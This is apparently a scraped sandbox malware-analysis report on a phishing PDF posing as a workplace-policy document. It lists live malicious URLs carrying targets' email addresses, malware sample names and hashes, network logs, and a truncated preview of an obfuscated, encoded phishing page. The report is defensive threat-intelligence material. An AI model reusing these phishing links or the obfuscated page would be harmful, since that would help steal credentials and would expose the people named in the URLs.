	https://copilotse.blob.core.windows.net/$web/hgyxxxtrdfr76tfgfs821yhgh.html?sp=r&st=2024-12-08T12:55:44Z&se=2024-12-31T20:55:44Z&spr=https&sv=2022-11-02&sr=b&sig=7dYMitXSX9zEmg0mEsN7rfqS0sBAZEqtrbG4v8YyfsM%3D#robert.webber@phillyshipyard.com	Get hash	malicious	HTMLPhisher	Browse	13.227.8.47
	https://newkr-projectx.glitch.me/#brian.ruane@phillyshipyard.com&c=E,1,vVA-mg8r52Zblu_rhig7GFt2mCpLF9PVkeDHz-A9beseyk-7hG6M7GtCamglxWILhEciDIA3yPk4yeJAXNdlExpv1QvST_9_UAM_sKTiUoTphPpfNtY,&typo=1	Get hash	malicious	HTMLPhisher	Browse	13.227.8.72
	https://u48644047.ct.sendgrid.net/ls/click?upn=u001.3irT40U-2BlTtWVjPO1bgMkUPMRV7HMaBj-2FcZe3i1L5jDR7G1Ks0wP9YDqpnyIpxjZeIBaCeYZtGJgliwzSaJhwg-3D-3Dg90K_vPQ7onHR3f0o8KfOdBDFScd6URBvV6dRJTvL1FnCMOJp3bqQS0z8XYrmZvQsYKgv9M18uyN4otj9SHTsh0jVVVuVPoownVxKSao-2Fy-2F5zkA0ggrGoSd-2BVIld1mpIeS3DUcNNIvsq7yFDKM7DHebzUtokLUwZtE0mCsLz1Bm0-2B1LrSQGv4FTM1s6ckzg8R6Atlvbv-2BxwILwC6PQXifnpXLjP04W47PCxVuKYY5jyS-2FXWc-3D	Get hash	malicious	HTMLPhisher	Browse	13.227.8.72
	http://url969.uniteddeleverycompany.com/ls/click?upn=u001.H7qy8CwvNpiem-2Bf7DeMFk7YJf68sOidxEWakApUPIOSZg2OY8dbdpgPNdKDwG5r9FFRxGTcDR4Y40gkedjWn5gmaEy2hdp5PhuemKZpyV0zDF4yZB1nSDE1glVUHkAxvk-2Bay1ScD58FIOgYpgYP6N0ScK3-2BfYjxiyiX8IVVnDpwETyB9eFyZIpVwHB3s73fG91OsUU5I5qElZ5zc-2F019KUvyyM6RxeXMegmcNjDutTA-2FnxufBtCMFX4wRkoDOM-2BzzsCiJIoY1mc9q42wLMHiq-2B4vv2-2FqoR1f2l-2BCmuACM5q-2FNbDZQstkQL5-2FH30fC7m19Rn-2BlXgwexRgjH0XwyNE8I2tRC8iv5uAUiLQk1AD6k0bLjsvdQWk9bfnh9YPL7n6nCIBdvs55pyxgyRAhb2C3g-3D-3DzLOu_oNIH2-2FxJ-2FTe1FaVJ1jWIKVy-2BRH8quBB-2F7-2FAZY1zuBa8sYO3A2kRlNC5SRLFjReRDbNAqQc8ija5eyvb3hMHW2LijdhuT99ojcYbvfeVDR6TjM8Iqq-2F4lpz7WKfkjLfs8kULSyk-2BJ2FHXElRwIq2EjJuur8G9AAw0HjpCQ3JV-2F1d4REvZ-2BdaWGeRZa46RgdqnKhZwT4HPC-2Fcr9dZBwLnURfD1x7OZfW9R3B1ZDWRdH1V-2F-2BR-2FWmM6h4NEHHRb9NNBhFNZPaY6piFBOFNOupA2OrFLOTElocKhsbRyDVGAbiBMte7-2BAjR-2BA2H-2F9CP2UREBvDHXsH-2BmlqvAryDrKjjAy8lTbA9nho9WLS1JKeGns5pAqmjv-2FPH8p3m8V8tFEPj2WLqfG6IzXwKcOMYvSrGYkMWMsBKmgc-2Bt-2BOg9a0jxMR-2BByynWcTgKhB44PNmoRQfd9lvEhtXtJnUleVDwJMZbPw60p1K6oxTexhzM9ScXx7kCprkCgMgcfi8rgis43afOn4xM8YRcMg9tIzu64CU7VuKJ-2BMFN5I78-2B8KPrNOjHK5o6ri9rwGpR8XbmEC-2BUi0PISrd7M-2BHCYWlP2o1TBL2OAmqufIzKPL-2F0NYk7NCFq-2BQEFmracNk-2BqqlMZ00PhqEs2JN98lsOxQ6MUbXZMcj-2FhqVBZVN97wkN60D56kJ-2FOQiaa7gW2IP4afUKBiy9Wl-2B0h0QTfxVEz3DZUlxRmNpooAbQL5Uk9Km4liDjAnP-2F9rKBZSc3OZEf33ZNLDn8jMDI2p9XCpZ-2BdDlLCTUAgCLNK0FE-2BJVvF9LYHxIrcC8tpkLszOdDeZHX2xcWm6Lc3y7tQCdb1uaEkAxyHmalygulTA8ODCE0Qj21BBKduU8fdD8C7u4Nqc-2BpJjM-2FhEfOBaq9vq0rNhSs4OVsJ7hESECV5WQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse	18.161.111.117
bg.microsoft.map.fastly.net	support.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse	199.232.214.172
	5.msi	Get hash	malicious	DanaBot, Nitol	Browse	199.232.214.172
	file.exe	Get hash	malicious	Remcos	Browse	199.232.214.172
	https://garfieldthecat.tech/Receipt.html	Get hash	malicious	WinSearchAbuse	Browse	199.232.210.172
	lavita.msi	Get hash	malicious	BruteRatel, Latrodectus	Browse	199.232.210.172
	mjjt5kTb4o.lnk	Get hash	malicious	Unknown	Browse	199.232.214.172
	uEhN67huiV.dll	Get hash	malicious	Unknown	Browse	199.232.210.172
	Clienter.dll.dll	Get hash	malicious	Unknown	Browse	199.232.210.172
	Clienter.dll.dll	Get hash	malicious	Unknown	Browse	199.232.210.172
	Shipping Bill No6239999Dt09122024.PDF.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	199.232.214.172

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	hades.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse	104.21.23.76
	https://drive.google.com/file/d/1t3oVTU9WVeXXW61-QBDfjBrcece1DEFY/view?usp=sharing	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://inspirafinancial.com	Get hash	malicious	Unknown	Browse	104.16.123.96
	https://technicalwriterhq.com/	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=temadewelgFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%6D%6F%74%6C%65%79%2D%61%6D%65%6E%61%62%6C%65%2D%73%74%69%6E%67%2E%67%6C%69%74%63%68%2E%6D%65#Y2hhbmd5ZW9sLmNob2lAaHl1bmRhaWVsZXZhdG9yLmNvbQ==	Get hash	malicious	Unknown	Browse	104.17.25.14
	jew.arm.elf	Get hash	malicious	Unknown	Browse	104.23.168.53
	loader.exe	Get hash	malicious	LummaC	Browse	172.67.151.119
	support.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse	104.21.64.1
	https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fclick.pstmrk.it%25252F3s%25252Fpub-c51a5b71098c4a50b29ad0816d037292.r2.dev%2525252Findex.html%25252F1FPh%25252FkO25AQ%25252FAQ%25252F3e065842-509e-4fd5-abbb-5283a8ac4086%25252F1%25252FRkloQ4shWG%252F1FPh%252Fk_25AQ%252FAQ%252Fdde43c95-583c-418a-adc0-08f493a126f6%252F1%252FJb7OErMoyM%2F1FPh%2Fk_25AQ%2FAQ%2Fb4b83026-0c0f-44d4-9e59-6245afb2c831%2F1%2F0MDiG0XvGK/1FPh/le25AQ/AQ/97716a3f-8a20-4219-bc1f-a50876348ddc/1/HkaU6VJ0d2#	Get hash	malicious	Unknown	Browse	104.21.57.143
CLOUDFLARENETUS	hades.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse	104.21.23.76
	https://drive.google.com/file/d/1t3oVTU9WVeXXW61-QBDfjBrcece1DEFY/view?usp=sharing	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://inspirafinancial.com	Get hash	malicious	Unknown	Browse	104.16.123.96
	https://technicalwriterhq.com/	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=temadewelgFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%6D%6F%74%6C%65%79%2D%61%6D%65%6E%61%62%6C%65%2D%73%74%69%6E%67%2E%67%6C%69%74%63%68%2E%6D%65#Y2hhbmd5ZW9sLmNob2lAaHl1bmRhaWVsZXZhdG9yLmNvbQ==	Get hash	malicious	Unknown	Browse	104.17.25.14
	jew.arm.elf	Get hash	malicious	Unknown	Browse	104.23.168.53
	loader.exe	Get hash	malicious	LummaC	Browse	172.67.151.119
	support.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse	104.21.64.1
	https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fclick.pstmrk.it%25252F3s%25252Fpub-c51a5b71098c4a50b29ad0816d037292.r2.dev%2525252Findex.html%25252F1FPh%25252FkO25AQ%25252FAQ%25252F3e065842-509e-4fd5-abbb-5283a8ac4086%25252F1%25252FRkloQ4shWG%252F1FPh%252Fk_25AQ%252FAQ%252Fdde43c95-583c-418a-adc0-08f493a126f6%252F1%252FJb7OErMoyM%2F1FPh%2Fk_25AQ%2FAQ%2Fb4b83026-0c0f-44d4-9e59-6245afb2c831%2F1%2F0MDiG0XvGK/1FPh/le25AQ/AQ/97716a3f-8a20-4219-bc1f-a50876348ddc/1/HkaU6VJ0d2#	Get hash	malicious	Unknown	Browse	104.21.57.143
ALABANZA-BALTUS	sh4.elf	Get hash	malicious	Mirai	Browse	65.109.195.251
	https://go.eu.sparkpostmail1.com/f/a/IgPiUnQgGsgttR90IQc-hw~~/AAGCxAA~/RgRpOpvrP0QqaHR0cHM6Ly9tYXNzd29vZHBvbGlzaC5pbi93YXRlci9jb2xkL2luZGV4VwVzcGNldUIKZ1XrFlhnca8zKlISemFyZ2FyQGZhcmlkZWEuY29tWAQAAAAB#YmlsbC5ob2l0dEBwYXJ0bmVyc21ndS5jb20=	Get hash	malicious	HTMLPhisher	Browse	65.109.232.106
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	65.109.37.232
	Employee_Letter.pdf	Get hash	malicious	HTMLPhisher	Browse	65.109.232.106
	https://santa-secret.ru/api/verify?a=NjgyODEwNCw1bWluOHE2MHpuX3J1LC9hY2NvdW50L2JveGVzLHZsYWRpbWlyLmdsdXNoZW5rb0Bob2NobGFuZC5ydSwyNDE0MTYzMg==	Get hash	malicious	Unknown	Browse	65.109.23.99
	Employee_Letter.pdf	Get hash	malicious	HTMLPhisher	Browse	65.109.232.106
	arm.elf	Get hash	malicious	Mirai	Browse	65.108.192.85
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	65.109.107.240
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	208.56.163.168
	pbnpvwfhco.elf	Get hash	malicious	Unknown	Browse	208.56.82.129
CLOUDFLARENETUS	hades.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS	Browse	104.21.23.76
	https://drive.google.com/file/d/1t3oVTU9WVeXXW61-QBDfjBrcece1DEFY/view?usp=sharing	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://inspirafinancial.com	Get hash	malicious	Unknown	Browse	104.16.123.96
	https://technicalwriterhq.com/	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=temadewelgFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%6D%6F%74%6C%65%79%2D%61%6D%65%6E%61%62%6C%65%2D%73%74%69%6E%67%2E%67%6C%69%74%63%68%2E%6D%65#Y2hhbmd5ZW9sLmNob2lAaHl1bmRhaWVsZXZhdG9yLmNvbQ==	Get hash	malicious	Unknown	Browse	104.17.25.14
	jew.arm.elf	Get hash	malicious	Unknown	Browse	104.23.168.53
	loader.exe	Get hash	malicious	LummaC	Browse	172.67.151.119
	support.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse	104.21.64.1
	https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fclick.pstmrk.it%25252F3s%25252Fpub-c51a5b71098c4a50b29ad0816d037292.r2.dev%2525252Findex.html%25252F1FPh%25252FkO25AQ%25252FAQ%25252F3e065842-509e-4fd5-abbb-5283a8ac4086%25252F1%25252FRkloQ4shWG%252F1FPh%252Fk_25AQ%252FAQ%252Fdde43c95-583c-418a-adc0-08f493a126f6%252F1%252FJb7OErMoyM%2F1FPh%2Fk_25AQ%2FAQ%2Fb4b83026-0c0f-44d4-9e59-6245afb2c831%2F1%2F0MDiG0XvGK/1FPh/le25AQ/AQ/97716a3f-8a20-4219-bc1f-a50876348ddc/1/HkaU6VJ0d2#	Get hash	malicious	Unknown	Browse	104.21.57.143

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.214695971076517
Encrypted:	false
SSDEEP:	6:7Q3+cN+q2Pwkn2nKuAl9OmbnIFUt8OQ3+JwZZmw+OQ3+JwNVkwOwkn2nKuAl9Omt:7Q3vN+vYfHAahFUt8OQ3kwZ/+OQ3kwNU
MD5:	167E75F954424E39A77011844DE92B06
SHA1:	7CAF301DE3B5D1EC6C5B1B6CD1825397D12D1449
SHA-256:	0654D1B117602C42F9E2D03AC0AB062B0F2E2C4AF5A244ED610B41FE43EC1220
SHA-512:	75B26DDC13E9F3BF13DC56675FB8AAB251039290C681B0212E660311B036814E5BE6BEB11086CD2A19F73C800711EB0AAA90D8903ACE3AD7198B2009E93F62D0
Malicious:	false
Reputation:	low
Preview:	2024/12/17-18:28:30.335 1ddc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/12/17-18:28:30.337 1ddc Recovering log #3.2024/12/17-18:28:30.337 1ddc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Harrisassoc_Updated_Workplace_Policies_and_Compliance_Guidelines.pdf.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

QR Codes

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\496658d0-5568-4689-8c7a-76cd7247bb1d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF579c39.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\efc748f3-6d0b-42aa-98a6-55b48a198ab7.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241217232836Z-211.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7504

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7504

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Windows Analysis Report
Harrisassoc_Updated_Workplace_Policies_and_Compliance_Guidelines.pdf.pdf

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2789)
Category:	downloaded
Size (bytes):	3146
Entropy (8bit):	5.338524213273031
Encrypted:	false
SSDEEP:	48:8VfUYmgUPV5DUBeF5StYfPiLWfwicwg1iS4N+Hc+IQ01dSxeVnT:8pwgDeF5SqfPiLYwbLDHcRb1IeJ
MD5:	ECD20EB06A6EC3A48FA5A698C24ABA86
SHA1:	3A78F36DCB602AB0727695250EDFD28D81011C39
SHA-256:	E4CD6B39FE04BABC0E3430B76CE4CC4D8C9F95781D49E3A09148E5C746014BD1
SHA-512:	25562D7E49D0F8D0175A14291A1C52BB6399791F30249EF75878E5BB4877959B572CE6004728D8A2F1A678BACEF70378CE8F35F3875592CEE8766D9614A7891D
Malicious:	false
URL:	https://roadmap27.github.io/policy-update-review-bdh6hg-keneii9-bb7exc5gwjvqSQRyvhsiq/
Preview:	<!DOCTYPE html>.<html>.<head>. <title>Obfuscated HTML</title>.</head>.<body>. <script>. var key = "secretkey";. var encodedHtml = "T0QnPSYgMjU8Uw0XHwlKYVkRBwgPUgkVBQJEUQANUFt+Vw0cEgFdeEVUS0VFHgAXE0UXAwQLAAAXT0chPyNUS0ddeEVUS0VFHgAXE0UaCggcTkcVGwADGwoLB0dDEQoaHwAXB1hBBQwQHw1EFwAVGwYRRhIQFxELXkUdBQwNGgQPXxYXCgkcTlRNQkdKYUVZU0VfBgwABwBHOgYGUigVBVlWBwwXHgBKYUVZU0VfHgwaAEULFgleUBYAEgkcAA0GFxFWSw0LFgNeUA0AHxUKSUpMEQEaARZXEAkMBwESBwQLFksAHQhbCg8YC0oPGwcHRAMWHRFOExIRGAoUFkpVXFVaW0oaABZMEwkYRQgQHUsAARZWVW9ZU0VDTgkdBQ5ZAQAPT0cHHxwVFhYLFwAASUURAQAFT0cHHxwVFksAARZWVW9FXA0GEwFKYVkbHAEaTG9US0VZTwEKBEUXBwQKAFhBBAAGAgMQEAQXGwoaRgYWHRECGwsRGUdHeUVDUkVUS0VZTwEKBEUXBwQKAFhBBAAGAgMQEAQXGwoaRgYYAQFBTG9US0VZU0VDUkVUS0VFFwwVUgYYChYKTkcPHQIbRgYWHRECGwsRGUdHeUVDUkVUS0VZU0VDUkVUS0VFGggEUhYGCFhbGggCFQBbBwoeHEsTHAJWSwYVEhYQT0cYBAIWUwkMEwEdBQJbUwQPBlhWJwoeHEdDHQsYBAQdTkcXGgwHRQYVEhYQPgwHH0sLFhUPEwYRQ0IVHAQHGwsTTElZVAkMEwERD0JQUVtpUkVUS0VZU0VDUkVUV0odGhNdeG9US0VZU0VDUkVUS0VFFwwVUgYYChYKTkcVFxcdD

File type:	PDF document, version 1.3, 1 pages
Entropy (8bit):	7.414186356365274
TrID:	Adobe Portable Document Format (5005/1) 100.00%
File name:	Harrisassoc_Updated_Workplace_Policies_and_Compliance_Guidelines.pdf.pdf
File size:	412'479 bytes
MD5:	282f1598a8f06e4bc477e8aabfa9d1d8
SHA1:	baea7172738f06b00b9478ae434b4a1b78d39c81
SHA256:	910d77445b561cdcfbefcbcec5bf7c97e0fd7a4dfc96abb38a0b0ea774e5aed0
SHA512:	de2e968ae97333f97a6895ba686098a8f0a8984346dd224abf3a8f4afe855bc6facad4a5bd319c99d085b664bcc09c6851aadf3ff8f85e1acd7b20eac8f4080f
SSDEEP:	6144:abfOlofPLCKygD33lXV0+LRhp0dMwoLnE0uWrE5DlU3XQ2ex6wXEafOxnpUk9DDa:cOKfOqHv6MVnofJhHlUjSJAuRf
TLSH:	C29422F78AC86909E2D7BEBD987B87BDBD1A9809798700D814970833B9EE5137780417
File Content Preview:	%PDF-1.3.%.....8 0 obj.<<./Type /XObject./Subtype /Image./BitsPerComponent 8./Width 2380./Height 3368./ColorSpace /DeviceRGB./Filter /DCTDecode./Length 410869.>>.stream.......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp........

General
Header:	%PDF-1.3
Total Entropy:	7.414186
Total Bytes:	412479
Stream Entropy:	7.409770
Stream Bytes:	410925
Entropy outside Streams:	4.987677
Bytes outside Streams:	1554
Number of EOF found:	1
Bytes after EOF:

Name	Count
obj	16
endobj	16
stream	2
endstream	2
xref	1
trailer	1
startxref	1
/Page	1
/Encrypt	0
/ObjStm	0
/URI	0
/JS	0
/JavaScript	0
/AA	0
/OpenAction	0
/AcroForm	0
/JBIG2Decode	0
/RichMedia	0
/Launch	0
/EmbeddedFile	0

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 00:28:37.058657885 CET	52379	53	192.168.2.4	1.1.1.1
Dec 18, 2024 00:28:37.058769941 CET	53534	53	192.168.2.4	1.1.1.1
Dec 18, 2024 00:28:37.196671009 CET	53	55443	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:37.229290009 CET	53	62053	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:37.291395903 CET	53	52379	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:37.305808067 CET	53	53534	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:39.065385103 CET	58149	53	192.168.2.4	1.1.1.1
Dec 18, 2024 00:28:39.065517902 CET	59988	53	192.168.2.4	1.1.1.1
Dec 18, 2024 00:28:39.066986084 CET	62156	53	192.168.2.4	1.1.1.1
Dec 18, 2024 00:28:39.067136049 CET	59639	53	192.168.2.4	1.1.1.1
Dec 18, 2024 00:28:39.202038050 CET	53	59988	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:39.202378988 CET	53	58149	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:39.773056030 CET	53	59639	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:39.799388885 CET	53	62156	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:39.972281933 CET	53	63062	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:40.535304070 CET	64709	53	192.168.2.4	1.1.1.1
Dec 18, 2024 00:28:40.535474062 CET	64615	53	192.168.2.4	1.1.1.1
Dec 18, 2024 00:28:40.672173023 CET	53	64709	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:40.673261881 CET	53	64615	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:40.795367002 CET	59581	53	192.168.2.4	1.1.1.1
Dec 18, 2024 00:28:40.795522928 CET	49354	53	192.168.2.4	1.1.1.1
Dec 18, 2024 00:28:40.899122000 CET	51930	53	192.168.2.4	1.1.1.1
Dec 18, 2024 00:28:40.932351112 CET	53	59581	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:40.933118105 CET	53	49354	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:42.099756956 CET	55601	53	192.168.2.4	1.1.1.1
Dec 18, 2024 00:28:42.100258112 CET	49203	53	192.168.2.4	1.1.1.1
Dec 18, 2024 00:28:42.101980925 CET	62081	53	192.168.2.4	1.1.1.1
Dec 18, 2024 00:28:42.102155924 CET	61948	53	192.168.2.4	1.1.1.1
Dec 18, 2024 00:28:42.107095003 CET	54347	53	192.168.2.4	1.1.1.1
Dec 18, 2024 00:28:42.107225895 CET	60155	53	192.168.2.4	1.1.1.1
Dec 18, 2024 00:28:42.238425970 CET	53	55601	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:42.238866091 CET	53	49203	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:42.245841026 CET	53	60155	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:42.246599913 CET	53	54347	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:42.385164022 CET	53	61948	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:42.398737907 CET	53	62081	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:44.247431040 CET	60265	53	192.168.2.4	1.1.1.1
Dec 18, 2024 00:28:44.247572899 CET	65440	53	192.168.2.4	1.1.1.1
Dec 18, 2024 00:28:44.266189098 CET	51145	53	192.168.2.4	1.1.1.1
Dec 18, 2024 00:28:44.266346931 CET	53000	53	192.168.2.4	1.1.1.1
Dec 18, 2024 00:28:44.356900930 CET	65115	53	192.168.2.4	1.1.1.1
Dec 18, 2024 00:28:44.356901884 CET	49164	53	192.168.2.4	1.1.1.1
Dec 18, 2024 00:28:44.384232044 CET	53	60265	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:44.384676933 CET	53	65440	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:44.406407118 CET	53	53000	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:44.410820961 CET	53	51145	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:44.493887901 CET	53	49164	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:44.497802973 CET	53	65115	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:45.251039982 CET	61792	53	192.168.2.4	1.1.1.1
Dec 18, 2024 00:28:45.251367092 CET	59252	53	192.168.2.4	1.1.1.1
Dec 18, 2024 00:28:45.390399933 CET	53	61792	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:45.390455008 CET	53	59252	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:46.498328924 CET	60434	53	192.168.2.4	1.1.1.1
Dec 18, 2024 00:28:46.498472929 CET	53935	53	192.168.2.4	1.1.1.1
Dec 18, 2024 00:28:46.636708975 CET	53	60434	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:46.637818098 CET	53	53935	1.1.1.1	192.168.2.4
Dec 18, 2024 00:28:52.229065895 CET	138	138	192.168.2.4	192.168.2.255
Dec 18, 2024 00:28:57.271507978 CET	53	54813	1.1.1.1	192.168.2.4
Dec 18, 2024 00:29:16.258799076 CET	53	65247	1.1.1.1	192.168.2.4
Dec 18, 2024 00:29:36.103805065 CET	53	64906	1.1.1.1	192.168.2.4
Dec 18, 2024 00:29:39.011410952 CET	53	53732	1.1.1.1	192.168.2.4
Dec 18, 2024 00:30:09.831096888 CET	53	58151	1.1.1.1	192.168.2.4
Dec 18, 2024 00:30:54.253165007 CET	53	56267	1.1.1.1	192.168.2.4

Timestamp	Bytes transferred	Direction	Data
2024-12-17 23:28:38 UTC	720	OUT	GET /policy-update-review-bdh6hg-keneii9-bb7exc5gwjvqSQRyvhsiq/ HTTP/1.1 Host: roadmap27.github.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
